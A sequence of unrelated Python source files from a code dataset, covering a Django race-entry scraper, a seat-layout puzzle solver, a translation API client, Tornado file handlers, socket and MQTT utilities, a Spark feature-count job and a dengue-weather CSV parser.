port=5000)\n","sub_path":"web_flask/8-cities_by_states.py","file_name":"8-cities_by_states.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"516965167","text":"import re\nimport requests\nimport datetime\nimport slate3k as slate\n\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom cashdog.applib.scrape import TrackInfoRequest\nfrom django.shortcuts import get_object_or_404\nfrom django.core.management.base import BaseCommand\nfrom rawdat.models import Dog, Venue\nfrom django.contrib.auth.models import User\nfrom urllib.request import urlopen, urlretrieve\n\nfrom lxml import html\nroot_url = \"http://m.trackinfo.com/\"\nmain_ext = \"index.jsp?next=entriesrace&raceid=\"\nrace_url = \"http://m.trackinfo.com/index.jsp?next=entriesrace&raceid=\"\n\nfunctioncalls = True\n\nimport requests\n\nvenues = [\"NF\"]\ntimes = [\"A\", \"E\", \"T\"]\n\n\nclass Command(BaseCommand):\n\n\n def handle(self, *args, **options):\n dates = self.get_dates()\n for venue_code in venues:\n for date in dates:\n for time in times:\n i = 1\n while i < 3:\n race_id = self.format_race_time(venue_code, date, time)\n self.process_url(\"{}{}{}\".format(\n race_url,\n race_id,\n self.two_digitizer(i))\n )\n i += 1\n\n\n def two_digitizer(self, number):\n if int(number) < 10:\n return (\"0{}\".format(number))\n return number\n\n def get_dates(self):\n # get today and next three days, return in YYYYMMDD format.\n dates = []\n i = 0\n while i < 3:\n date = datetime.datetime.now() + datetime.timedelta(days=i)\n dates.append(\"{}{}{}\".format(\n date.year,\n self.two_digitizer(date.month),\n self.two_digitizer(date.day))\n )\n i += 1\n return dates\n\n def format_race_time(self, venue_code, date, time):\n # return a raceid in format GNF$20200430A\n return(\"G{}${}{}\".format(venue_code, date, time))\n\n\n def process_url(self, url):\n if functioncalls:\n print('process_url()')\n print(url)\n page = requests.get(url)\n tree = html.fromstring(page.content)\n table = tree.xpath('//a')\n if len(table) > 4:\n for item in table:\n print(item.text)\n","sub_path":"miner/management/commands/scheduled.py","file_name":"scheduled.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"345519276","text":"import sys\n\ndef parse(f):\n layout = {}\n for y, line in enumerate(f):\n for x, c in enumerate(line.strip()):\n layout[(x, y)] = c\n return layout\n\nNEIGHBOURS = [\n (-1, -1),\n ( 0, -1),\n ( 1, -1),\n (-1, 0),\n ( 1, 0),\n (-1, 1),\n ( 0, 1),\n ( 1, 1),\n]\n\ndef find_neighbours(key, layout):\n x, y = key\n return [layout[(x+dx, y + dy)] for dx, dy in NEIGHBOURS if (x + dx, y + dy) in layout]\n\ndef find_visible(key, layout):\n for dx, dy in NEIGHBOURS:\n x, y = key\n x += dx\n y += dy\n while (x, y) in layout:\n if layout[(x, y)] in '#L':\n yield layout[(x, y)]\n break\n x += dx\n y += dy\n\ndef step_cell1(key, value, layout):\n neighbours = find_neighbours(key, layout)\n if value == 'L' and '#' not in neighbours:\n return '#'\n if value == '#' and len([n for n in neighbours if n == '#']) >= 4:\n return 'L'\n return value\n\ndef step_cell2(key, value, layout):\n visible = list(find_visible(key, layout))\n if value == 'L' and '#' not in visible:\n return '#'\n if value == '#' and len([n for n in visible if n == '#']) >= 5:\n return 'L'\n return value\n\ndef step(layout):\n return {key: step_cell2(key, value, layout) for key, value in layout.items()}\n\ndef print_layout(layout):\n x0, y0 = min(layout)\n x1, y1 = max(layout)\n for y in range(y0, y1+1):\n for x in range(x0, x1+1):\n print(layout.get((x, y), 'x'), end='')\n print()\n\n\nlayout = parse(sys.stdin)\nwhile True:\n #print_layout(layout)\n next_layout = step(layout)\n if next_layout == layout:\n break\n layout = next_layout\n\nprint(len([value for value in layout.values() if value == '#']))","sub_path":"2020/11.py","file_name":"11.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"512972957","text":"import json\nimport urllib2\n\n\nclass TranslationParser:\n\n def __init__(self, from_lang, dest_lang, translations_nr):\n self.from_lang = from_lang\n self.dest_lang = dest_lang\n self.translations_nr = translations_nr\n self.from_lang_text = \"\"\n self.dest_lang_text = []\n\n def parse(self, vocab):\n \"\"\"\n Searching for translations in the glosbe.com api while considering\n the case sensitivity of the api, and errors in the user input. Choosing the case\n which offers more translations.\n :param vocab: the word from the input in the from language\n :return: The translations from the one word in the from language into multiple words in the\n destination language, e.g. [\"from\", [\"dest1\", \"dest2\"]]; and None if the translation is not valid.\n \"\"\"\n self.from_lang_text = \"\"\n self.dest_lang_text = []\n\n v0 = vocab.decode('utf-8')\n\n j0 = self._get_json(v0)\n t0 = self._parse_json(j0)\n\n if len(t0) > 0:\n self.from_lang_text = v0\n self.dest_lang_text = t0\n\n else:\n v1, v2 = self._vocab_variations(v0)\n\n j1 = self._get_json(v1)\n t1 = self._parse_json(j1)\n\n j2 = self._get_json(v2)\n t2 = self._parse_json(j2)\n\n if len(t1) > len(t2):\n self.from_lang_text = v1\n self.dest_lang_text = t1\n else:\n self.from_lang_text = v2\n self.dest_lang_text = t2\n\n translation = [self.from_lang_text, self.dest_lang_text]\n if self._is_valid_translation(translation):\n return translation\n\n def _get_json(self, vocab):\n template = \"https://glosbe.com/gapi_v0_1/translate?from={}&dest={}&format=json&phrase={}&pretty=true\"\n url = template.format(self.from_lang, self.dest_lang, urllib2.quote(vocab.encode('utf-8')))\n response = urllib2.urlopen(url)\n return json.loads(response.read())\n\n def _parse_json(self, json_object):\n \"\"\"\n Parsing all translations from the json_object.\n :param json_object:\n :return: array of translations in the destination language\n \"\"\"\n translations = []\n tuc = json_object[u'tuc']\n\n try:\n for i in range(min(self.translations_nr, len(tuc))):\n translations.append(tuc[i]['phrase']['text'])\n except KeyError:\n pass\n\n return translations\n\n @classmethod\n def _vocab_variations(cls, vocab):\n \"\"\"\n The glosbe.com api might offer no valid translations if the capitalization of the input word\n is wrong. Therefore we once use both capital and small initial letters.\n :param vocab: the word from the input in the from language\n :return: the vocab with a capital initial letter, and the vocab with a small initial letter\n \"\"\"\n if len(vocab) > 1:\n lower = vocab.lower()\n big = vocab.upper()[0] + lower[1:]\n return big, lower\n else:\n return vocab.upper(), vocab.lower()\n\n @classmethod\n def _is_valid_translation(cls, translation):\n \"\"\"\n Looking if objects arent NoneType and if its not an empty string\n :param translation: array of the translation\n :return: True if the translation is valid, False if not\n \"\"\"\n if translation[0] and translation[0] is not \"\":\n if translation[1] and len(translation[1]) > 0:\n return True\n return False\n","sub_path":"VocabularyImporter/content_handler/translation_parser.py","file_name":"translation_parser.py","file_ext":"py","file_size_in_byte":3566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"261541361","text":"print(\"What is your first number?\")\ninput1 = input()\nx = int(input1)\n# May fail!\n\nprint(\"What is your second number?\")\ninput2 = input()\ny = int(input2)\n# May fail!\n\ntotal = x + y\nfinalSentence = f\"The sum of the two numbers is {total}\"\nprint(finalSentence)\n\ninput(\"Press Enter to continue.\")\n","sub_path":"Lesson02/Folder02/File02.py","file_name":"File02.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"110027592","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*- \n\"\"\"\n server area action\n author comger@gmail.com\n\"\"\"\nimport time\nimport math\nimport motor\nfrom functools import partial\nfrom tornado import gen\nfrom tornado.web import RequestHandler\nfrom kpages import url,get_context,ContextHandler\nfrom kpages.model import ModelMaster\nfrom utility import ActionHandler\nfrom logic.pinying import get_pinyin\nfrom logic.files import *\n\n@url(r'/file/(?P<ftype>[0-9A-Za-z-]+)/(?P<fid>[0-9A-Za-z-]+)')\nclass GetFile(ContextHandler,RequestHandler):\n @gen.coroutine\n def get(self,ftype,fid):\n f = yield gen.Task(get_file,fid,ftype)\n self.set_header('Content-Type', f['contentType'])\n self.write(f['data'])\n self.finish()\n \n@url(r'/admin/files/(?P<ftype>[0-9A-Za-z-]+)/(?P<fid>[0-9A-Za-z-]+)')\nclass DelFile(ActionHandler):\n @gen.coroutine\n def delete(self,ftype,fid):\n if ftype == \"image\":\n yield gen.Task(del_image,fid)\n self.write(dict(status=True))\n\n@url(r\"/admin/files/(?P<ftype>[0-9A-Za-z-]+)/\")\nclass FileList(ActionHandler):\n @gen.coroutine\n def get(self,ftype):\n page = int(self.get_argument('page',0)) \n size = int(self.get_argument('limit',10))\n lst,count = yield image_page(page,size=size, ftype=ftype)\n file_list = map(partial(conv, table=ftype), lst)\n npage = int(math.ceil((count+1)/size))\n view = self.get_argument('view',None)\n if view == \"grid\" and ftype == \"image\":\n grid= self.render_string(\"admin/filelist/img-grid.html\", images=file_list)\n pagniation= self.render_string(\"admin/filelist/pagination.html\", page=page, npage=npage)\n self.write(dict(grid=grid,pagniation=pagniation))\n elif view == 'json':\n self.write({\n 'dir':ftype,\n 'file_list':file_list,\n 'page':page,\n 'npage':npage}\n )\n else:\n self.render('admin/files.html')\n\n@url(r\"/admin/file/upload\")\nclass FileUpload(ActionHandler):\n @gen.coroutine\n def post(self):\n f = self.request.files['mfile'][0]\n body = f.pop('body')\n filename = f.pop('filename')\n content_type = f.pop('content_type')\n ts = time.time()\n filename = '%d_%s' % (ts,filename)\n ftype = self.get_argument('ftype','image')\n if ftype == 'image':\n fmt = content_type.split('/')[1]\n fid = yield gen.Task(put_image,body,filename,fmt,content_type=content_type)\n val = dict(dir=ftype,error=0,url='/file/image/{0}'.format(fid))\n val.update(thumbnail='/file/thumbnail/{0}'.format(fid))\n self.write(val)\n elif ftype == 'file':\n fid = yield put_file(body,filename, content_type=content_type)\n val = dict(dir=ftype,error=0,url='/file/file/{0}'.format(fid))\n self.write(val)\n","sub_path":"web/admin/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"587674691","text":"from datetime import datetime, date, time, timedelta\n\ndef timeConvertion(value, sep='T'):\n # _date_format = \"%Y-%m-%d %H:%M:%S\"\n DT = {}\n\n if isinstance(value, tuple):\n _dt = tuplexxx\n elif isinstance(value, float):\n _dt = datetime.fromtimestamp(value) # datetime.datetime(2018, 12, 5, 11, 16, 24, 800641)\n elif isinstance(value, datetime):\n _dt = value\n elif isinstance(value, str):\n _dt = datetime.strptime(value, \"%Y-%m-%dT%H:%M:%S.%f\")\n\n DT['tuple'] = _dt.timetuple() # time.struct_time(tm_year=2018, tm_mon=12, tm_mday=5, tm_hour=11, tm_min=16, tm_sec=24, tm_wday=2, tm_yday=339, tm_isdst=-1)\n\n DT['datetime'] = _dt # mi da errore il logger # datetime.datetime(2018, 12, 5, 11, 16, 24, 800641)\n DT['float'] = float('{:.2f}'.format(_dt.timestamp())) # 1544004984.800641\n DT['secs'] = int(_dt.timestamp()) # 1544004984\n DT['str'] = _dt.isoformat(sep=sep) # ISO 8601 format, YYYY-MM-DDTHH:MM:SS.mmmmmm\n # DT['str'] = strptime(value, \"%Y-%m-%dT%H:%M:%S.%f\")\n DT['isoformat'] = _dt.isoformat(sep=sep) # ISO 8601 format, YYYY-MM-DDTHH:MM:SS.mmmmmm\n DT['time'] = _dt.strftime(\"%H:%M:%S.%f\")\n DT['time_f'] = _dt.strftime(\"%H:%M:%S.%f\")\n DT['date'] = _dt.strftime(\"%Y-%m-%d\")\n # DT['date'] = datetime.strptime(DT['str'], \"%Y-%m-%d\")\n # _date_format = \"%Y-%m-%d %H:%M:%S\"\n print (DT)\n return DT\n\n\n# *********************************************************************\n# * Timer\n# * t = Timer(10)\n# * t.start() #ten seconds go by ...\n# *********************************************************************\nimport time\nimport threading\nclass Timer(threading.Thread): #subclass Thread\n def __init__(self, seconds): #make it possible to pass the time in seconds that we want the timer to run\n self.runTime = seconds #set our runTime in seconds\n threading.Thread.__init__(self) #call the Thread's constructor\n def run(self): #define what we want our Timer thread to do\n time.sleep(self.runTime) #have it sleep for runTime seconds\n print (\"Buzzzz!! Time's up!\" ) #print a message when done\n\n# t = Timer(10)\n# t.start()\n\nif __name__ == '__main__':\n now = datetime.now()\n # time1 = timeConvertion(datetime.now(), sep= ' ')\n # print (time1)\n time1 = timeConvertion(datetime.now(), sep= ' ')['float']\n print (type(time1), time1)\n time.sleep(1)\n time2 = timeConvertion(datetime.now(), sep= ' ')['float']\n print (type(time2), time2)\n time3 = time2-time1\n print (time3)\n print (timeConvertion(time3)['time_f'])\n\n # t = Timer(2)\n # t.start()\n","sub_path":"@TEST_LIB/Timer/test01.py","file_name":"test01.py","file_ext":"py","file_size_in_byte":2726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"310503097","text":"# coding: utf-8\nimport socket\nimport select\nimport Queue\n\nserver = socket.socket()\nserver.setblocking(False)\nserver.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nserver.bind(('localhost', 6000))\nserver.listen(10)\n\n# timeout(unit: ms)\ntimeout = 5000\nmsg = {}\n\n\nREAD_ONLY = (select.READ_ONLY | select.EPOLLPRI | select.POLLHUP | select.POLLERR)\nREAD_WRITE = (READ_ONLY | select.POLLOUT)\n\npoller = select.poll()\n\npoller.register(server, READ_ONLY)\n\nfd_to_socket = {server.fileno(): server, }\n\nwhile 1:\n\tevents = poller.poll(timeout)\n\tif not events:\n\t\tcontinue\n\tlogging(\"{} new events\".format(len(events)))\n\tfor fd, flag in events:\n\t\ts = fd_to_socket[fd]\t\n\n\t\t# readable\n\t\tif flag & (select.POLLIN | select.POLLPRI):\n\t\t\tif s is server:\n\t\t\t\tconn, cli_addr = s.accept()\n\t\t\t\tconn.setblocking(False)\n\t\t\t\tfd_to_socket[conn.fileno()] = conn\n\t\t\t\tpoller.register(conn, READ_ONLY)\n\t\t\t\tmsg[conn] = Queue.Queue()\n\t\t\telse:\n\t\t\t\t# recv client data\n\t\t\t\tdata = s.recv(1024)\n\t\t\t\tif data:\n\t\t\t\t\tlogging(\"recv: {}, client: {}\".format(data, s.getpeername()))\n\t\t\t\t\tmsg[s].put(data)\n\t\t\t\t\tpoller.modify(s, READ_WRITE)\n\t\t\t\telse:\n\t\t\t\t\t# close the connection\n\t\t\t\t\tpoller.unregister(s)\n\t\t\t\t\ts.close()\n\t\t\t\t\tdel msg[s]\n\t\t# connection closed event\n\t\telif flag & select.POLLHUP:\n\t\t\tpoller.unregister(s)\t\t\t\n\t\t\ts.close()\n\t\telif flag & select.POLLOUT:\n\t\t\ttry:\n\t\t\t\tdata = msg[s].get_nowait()\n\t\t\texcept Queue.Empty:\n\t\t\t\tpoller.modify(s, READ_ONLY)\n\t\t\telse:\n\t\t\t\ts.send(data)\n\n\t\telif flag & select.POLLERR:\n\t\t\tpoller.unreigster(s)\n\t\t\ts.close()\n\t\t\tdel msg[s]\n\t\t\t","sub_path":"python/io_multiplexing/poll_demo.py","file_name":"poll_demo.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"55721967","text":"import numpy as np\nimport pylab as plt\n\nprint (np.sqrt(2),\" \",np.e)\ndef f(x):\n k = 1\n c = np.sqrt(2)\n return k * c - k * x + np.e ** (k * (x - c)) - np.cos(k * (x - c))\n\na = -1\nb = 4\nxPoints =[]\nyPoints = []\n\nfor x in range(0,101):\n xVal = -1 + 0.05*x\n yVal = f(xVal)\n print(xVal,\" \",yVal)\n xPoints.append(xVal)\n yPoints.append(yVal)\n\n\nplt.plot(xPoints,yPoints,'b.')\nplt.title(\"Discrete Graph of f(x) on [-1,4]\")\nplt.xlabel(\"Discrete x Values With 0.05 Step Size on [-1,4]\")\nplt.ylabel(\"f(x) = kc - kx + (e^(k(x-c))) - cos(k(x-c)), where k = 1 and c = 2^(1/2)\")\nplt.axis([-1,4,0,12])\nplt.show()\n","sub_path":"NumericalAnalyisis1/Plot1.py","file_name":"Plot1.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"5622817","text":"#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n \nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport sys \nimport os\nimport math\nfrom config import *\n\nfrom pyspark import SparkConf, SparkContext\n\nconf = SparkConf() \\\n .set(\"spark.ui.showConsoleProgress\", \"true\") \\\n\t .set('spark.hive.mapred.supports.subdirectories', 'true') \\\n .set('spark.hadoop.mapreduce.input.fileinputformat.input.dir.recursive', 'true') \\\n .set('spark.executor.memory','3g') \\\n .set(\"spark.default.parallelism\", '500') \\\n .set('spark.dynamicAllocation.enabled', 'true') \\\n .set('spark.port.maxRetries', '100') \n\nsc = SparkContext(conf=conf)\n\nifile = ','.join([os.path.join(x, 'feature_ori') for x in sys.argv[1].split(',')])\nodir = sys.argv[2]\nofile = '%s/%s' % (odir, 'feature_ori')\nofile2 = '%s/%s' % (odir, 'feature')\n\nd = sc.textFile(ifile)\nd_ori = d\n\ndef parse(line):\n fname, cnt = line.split('\\t')\n return (fname, int(cnt))\n\nd = d.map(parse).reduceByKey(lambda x, y: x + y).sortBy(lambda x: -x[1])\n\nd2 = d.filter(lambda l: l[1] >= MIN_FEAT_FREQ)\n\n# to speedup save, also filter out freq only 1\n# d = d.filter(lambda l: l[1] > 1).map(lambda l: '\\t'.join([l[0], str(l[1])]))\nd = d.map(lambda l: '\\t'.join([l[0], str(l[1])]))\n\nd2 = d2.sortByKey(numPartitions=1)\nd2 = d2.map(lambda l: l[0])\n\nd.repartition(20).saveAsTextFile(ofile)\nd2.repartition(1).saveAsTextFile(ofile2)\n","sub_path":"projects/feed/rank/offline/construct_training_data/video_emb.v2/scripts/stats-features.py","file_name":"stats-features.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"424784816","text":"#!/usr/bin/python\r\n#-*- coding: utf-8 -*-\r\n\r\n\"\"\"python3 自带库\"\"\"\r\nimport re\r\nimport os \r\nimport io\r\nimport sys \r\nimport time\r\nimport logging \r\nimport datetime \r\n\r\n\"\"\"python 第三方库\"\"\" \r\nimport paho.mqtt.publish as publish\r\nimport paho.mqtt.subscribe as subscribe\r\n\r\nclass MyMqtt(object) :\r\n \"\"\"\r\n fun:从不用验证的mqtt服务接取数据\r\n \"\"\"\r\n def download_data(self,topic,settingdict):\r\n \"\"\"\r\n param: topic --> \"WZS/DA/Energy/TB2/aircomp/combination\"\r\n settingdict --> {'hostname':'zsarm-mqtt-p03.wzs.wistron','port':9001}\r\n fun:从Mqtt下载指定主题的内容。\r\n return: onemessage --> 返回监听主题最新的一条记录的payload 及data部分。\r\n \"\"\"\r\n print('Start To Download Data From Mqtt !')\r\n logging.info('Start To Download Data From Mqtt !')\r\n\r\n onemessage = subscribe.simple(topic,**settingdict,msg_count=1,client_id=\"carey_lin\", keepalive=60,transport=\"websockets\").payload\r\n\r\n print('Fail To Download Data From Mqtt !')\r\n logging.info('Fail To Download Data From Mqtt !')\r\n\r\n return onemessage\r\n\r\n def upload_data(self,messagesdict,settingdict):\r\n \"\"\"\r\n param: messagesdict 由主题和信息组成的字典,-->{\"WZS/DA/Energy/TB2/aircomp/combination\":[onemassage,……],……}\r\n \"WZS/DA/Energy/TB2/aircomp/combination\"是主题topic,每次信息上传的信息为onemassage(json格式)\r\n settingdict --> {'hostname':'zsarm-mqtt-p03.wzs.wistron','port':9001}\r\n fun:将数据上传到指定的mqtt主题上。\r\n return: None\r\n \"\"\"\r\n\r\n print('Start To Upload Data To Mqtt !')\r\n logging.info('Start To Upload Data To Mqtt !')\r\n\r\n msgs = []\r\n for topic in messagesdict:\r\n for onemessage in messagesdict[topic]:\r\n msg = {'topic':0, 'payload':0, 'retain':True}\r\n msg['topic'] = topic\r\n msg['payload'] = onemessage\r\n msgs.append(msg)\r\n try:\r\n publish.multiple(msgs,**settingdict,client_id=\"carey_lin\", keepalive=60,transport=\"websockets\")\r\n except Exception as inst :\r\n print(\"Fail To Upload Data To Mqtt!\")\r\n\r\n print('Success To Upload Data To Mqtt !')\r\n logging.info('Success To Upload Data To Mqtt !')\r\n\r\n\r\n","sub_path":"mqttpipe.py","file_name":"mqttpipe.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"406763689","text":"import socket\nimport select\nimport errno\nimport json\nimport sFuncs\nimport sys \nimport threading\n\n\nHEADER_LENGTH = 10\n\nIP = \"165.22.9.206\"\nPORT = 1234\n\nwith open(\"sUserData.json\") as userJson:\n userData = json.load(userJson)\n\nmy_username = userData[\"USER_NAME\"].encode(\"utf-8\")\nmy_key = userData[\"USER_KEY\"].encode(\"utf-8\")\n\n# Create a socket\n# socket.AF_INET - address family, IPv4, some otehr possible are AF_INET6, AF_BLUETOOTH, AF_UNIX\n# socket.SOCK_STREAM - TCP, conection-based, socket.SOCK_DGRAM - UDP, connectionless, datagrams, socket.SOCK_RAW - raw IP packets\nclient_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# Connect to a given ip and port\nclient_socket.connect((IP, PORT))\n\n# Set connection to non-blocking state, so .recv() call won;t block, just return some exception we'll handle\nclient_socket.setblocking(False)\n\n# Prepare username and header and send them\n# We need to encode username to bytes, then count number of bytes and prepare header of fixed size, that we encode to bytes as well\nhead, username = sFuncs.encodeData(my_username, HEADER_LENGTH)\nclient_socket.send(head + username)\n\nhead, key = sFuncs.encodeData(my_key, HEADER_LENGTH)\nclient_socket.send(head + key)\n\nthread = threading.Thread(target=sFuncs.serverOut, args=(client_socket, HEADER_LENGTH,))\nthread.start()\nprint(\"Connected to server...\")\n\nwhile True:\n try:\n # Now we want to loop over received messages (there might be more than one) and print them\n while True:\n message = input()\n if message == \"exit\":\n setattr(thread, \"continue\", False)\n sys.exit()\n else:\n client_socket.send(b\"\".join(sFuncs.encodeData(message.encode(\"utf-8\"), HEADER_LENGTH)))\n\n except IOError as e:\n # This is normal on non blocking connections - when there are no incoming data error is going to be raised\n # Some operating systems will indicate that using AGAIN, and some using WOULDBLOCK error code\n # We are going to check for both - if one of them - that's expected, means no incoming data, continue as normal\n # If we got different error code - something happened\n if e.errno != errno.EAGAIN and e.errno != errno.EWOULDBLOCK:\n print('Reading error: {}'.format(str(e)))\n sys.exit()\n\n # We just did not receive anything\n continue\n\n except Exception as e:\n # Any other exception - something happened, exit\n print(f'Reading error: {str(e)}')\n sys.exit()\n","sub_path":"Fun/Bomba/Server/sclient.py","file_name":"sclient.py","file_ext":"py","file_size_in_byte":2531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"396719826","text":"import csv\nimport sys\nimport argparse\nfrom tqdm import tqdm\nimport re\nimport matplotlib.pyplot as plt\nimport collections\nimport pickle\nimport numpy as np\n\nMONTHLY_TYPES = ['cases', 'deaths']\nDATA_TYPES= ['humidity', 'rainfall', 'avg_temp', 'max_temp', 'max_temp', 'min_temp', 'sea_level_pressure']\n\ndef read_csv(file_name, header=False):\n data = []\n csv.register_dialect('myDialect',\n delimiter=',',\n skipinitialspace=True)\n with open(file_name, 'r') as f:\n reader = csv.reader(f, dialect='myDialect')\n for row in reader:\n line = []\n for val in row:\n line.append(val)\n data.append(line)\n return data[(1 if not header else 0):]\n\n\ndef save_data(data, save_name='full_data.pkl', data_dir='/home/jonesc48/dataviz/'):\n name = data_dir+save_name\n print(\"Saving to %s\" % name)\n pickle.dump(data, open(name, 'wb'))\n\n\ndef load_data(load_name='full_data.pkl', data_dir='/home/jonesc48/dataviz/Dengue_Fever/Data/'):\n name = data_dir+load_name\n print(\"Loading from %s\" % name)\n data = pickle.load(open(name, 'rb'))\n return data\n\n\ndef parse_stations_daily_float(data_list, data_name, prev_dict = {}):\n \"\"\"\n Parses one of the Station, year, month, days of data files into a list of lists.\n :param data_list: A list of lists from a vsc\n :param data_name: name of this attribute\n :param prev_dict: the previous data to add the attribute to (default assumes none)\n :return:\n \"\"\"\n loc_dict = prev_dict\n for line in tqdm(data_list):\n try:\n loc = line[0]\n if loc == \"Cox's\": #problem where min_temp csv is weird\n line = line[1:]\n line[0] = \"Cox's Bazar\"\n year = int(line[1])\n month = int(line[2])\n data = line[3:-1]\n for i in range(len(data)):\n data[i] = re.sub('\\*\\*\\**', '-1', data[i])\n days = list(map(float, [x for x in data if x != '']))\n if not loc in loc_dict:\n loc_dict[loc] = {}\n if not year in loc_dict[loc]:\n loc_dict[loc][year] = {}\n if not month in loc_dict[loc][year]:\n loc_dict[loc][year][month] = {}\n loc_dict[loc][year][month][data_name] = days\n except Exception as err:\n print(\"ERROR: line exluded:\")\n print(line)\n return loc_dict\n\ndef parse_total_cases(data_list, prev_dict={}):\n loc_dict = prev_dict\n for line in tqdm(data_list):\n try:\n loc = line[0]\n if loc == \"Cox's\": # problem where min_temp csv is weird\n line = line[1:]\n line[0] = \"Cox's Bazar\"\n year = int(line[1])\n month = int(line[2])\n cases = int(line[3])\n deaths = int(line[4])\n if loc not in loc_dict:\n loc_dict[loc] = {}\n if year not in loc_dict[loc]:\n loc_dict[loc][year] = {}\n if month not in loc_dict[loc][year]:\n loc_dict[loc][year][month] = {}\n loc_dict[loc][year][month]['cases'] = cases\n loc_dict[loc][year][month]['deaths'] = deaths\n except Exception as err:\n print(\"ERROR: line exluded:\")\n print(line)\n print(err)\n return loc_dict\n\ndef make_basic_chart(data, station, data_type):\n flat_y = []\n station_data = data[station]\n for year, months in station_data.items():\n for month, values in months.items():\n print(values)\n if data_type in values:\n if data_type in MONTHLY_TYPES:\n flat_y.append(values[data_type])\n else:\n flat_y += values[data_type]\n x = range(len(flat_y))\n plt.plot(x, flat_y)\n plt.show()\n\ndef combined_station_single_type(data, data_type):\n \"\"\"\n Not finished, need to adjust for different data lengths.\n Maybe ask for min and max year and enforce those?\n :param data:\n :param data_type:\n :return:\n \"\"\"\n\n flat_ys = {}\n for station, years in data.items():\n flat_ys[station] = []\n for year, months in years.items():\n for month, days in months.items():\n if data_type in days:\n flat_ys[station] += days[data_type]\n else:\n flat_ys[station] += [-1 for i in range(max(map(len, days)))]\n lengths = list(map(len, [v for k, v in flat_ys.items()]))\n print(lengths)\n x = range(max(list(map(len, flat_ys))))\n for station in data.keys():\n plt.plot(x, flat_ys[station])\n plt.show()\n\ndef symdt_to_tymds(data):\n \"\"\"\n Converts a [station, year, month, day, type] dictionary tree to a type dict of list {type : [day(ymd), station]}list\n THIS IS EXTREMELY GROSS\n :param data: A [s,y,m,d,t] dict tree\n :return: list [num types, max days, num stations + 1], the + 1 is for a yyyymmdd string\n \"\"\"\n stations = list(data.keys())\n stations.sort() # Alphabetic list of stations (columns)\n minyear = 9000\n maxyear = 2018\n for station in stations:\n years = data[station].keys()\n if min(years) < minyear:\n minyear = min(years)\n\n mlen = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n # Flatten to [t,y,m,s] format if possible, else all 0's for the month\n for t in DATA_TYPES:\n print('started type ' + t)\n new_dict = {}\n for y in range(minyear, maxyear+1):\n new_dict[y] = {}\n for m in range(1, 13):\n new_dict[y][m] = {}\n for s in stations:\n\n if y in data[s] and m in data[s][y] and t in data[s][y][m]:\n new_dict[y][m][s] = data[s][y][m][t]\n else:\n new_dict[y][m][s] = [-1]*mlen[m-1] if y % 4 != 0 or m != 2 else [-1]*29 # leap year clause please kill me\n save_data(new_dict, 'full_'+t+'_as_dict.pkl')\n print('MADE TYMS DICT')\n del(data)\n\n for t in DATA_TYPES:\n table = []\n new_dict = load_data(('full_'+t+'_as_dict.pkl'))\n for y in range(minyear, maxyear+1):\n for m in range(1, 13):\n for d in range(len(new_dict[y][m][stations[1]])):\n #print('day ' + d+':'+str([new_dict[y][m][s][d] for s in stations]))\n try:\n mstr = str(m)\n if m < 10:\n mstr = '0' + mstr\n dstr = str(d+1)\n if d+1 < 10:\n dstr = '0' + dstr\n table.append([str(y)+mstr+dstr]+[new_dict[y][m][s][d] for s in stations]) # create a row\n except Exception as err:\n print(\"ERROR: line exluded:\")\n print(str(y)+str(m)+str(d+1))\n print(err)\n with open('full_'+t+'_table.csv', 'w') as write_file:\n print('writing '+'full_'+t+'_table.csv')\n writer = csv.writer(write_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n writer.writerow(['year'] + stations)\n for line in table:\n writer.writerow(line)\n\n\n\ndef main(args):\n if args.case_data:\n # Load all of the timeline csvs\n type_list = ['min_temp', 'avg_temp', 'max_temp', 'humidity', 'rainfall', 'sea_level_pressure']\n cases = read_csv('Data/Dengue_Dhaka_average_monthly_case_death_2000-2016_processed.csv')\n\n # {type: [month, staton_1 ... station_21} Dhaka is column 13\n #tables = {f:read_csv('full_'+f+'_table.csv', header=True) for f in type_list}\n\n # [Dhaka,year,month,cases,deaths]\n # d_column = tables['avg_temp'][0].index('Dhaka')\n # print(\"%d is the column of Dhaka\" % d_column)\n # min_month = cases[0][2]\n # if int(min_month) < 10:\n # min_month = '0' + min_month\n # max_month = cases[0][2]\n # if int(max_month) < 10:\n # max_month = '0' + max_month\n # min_date = str(cases[0][1]) + min_month + '01'\n # max_date = str(cases[-1][1]) + max_month + '31'\n # print(min_date + ' to ' + max_date)\n # data = []\n # for t in type_list:\n # tmp = tables[t] # Grab table\n # tmp = [[r[0], r[d_column]] for r in tmp]\n # mindex = [r[0] for r in tmp].index(min_date)\n # maxdex = [r[0] for r in tmp].index(max_date)\n # tmp = 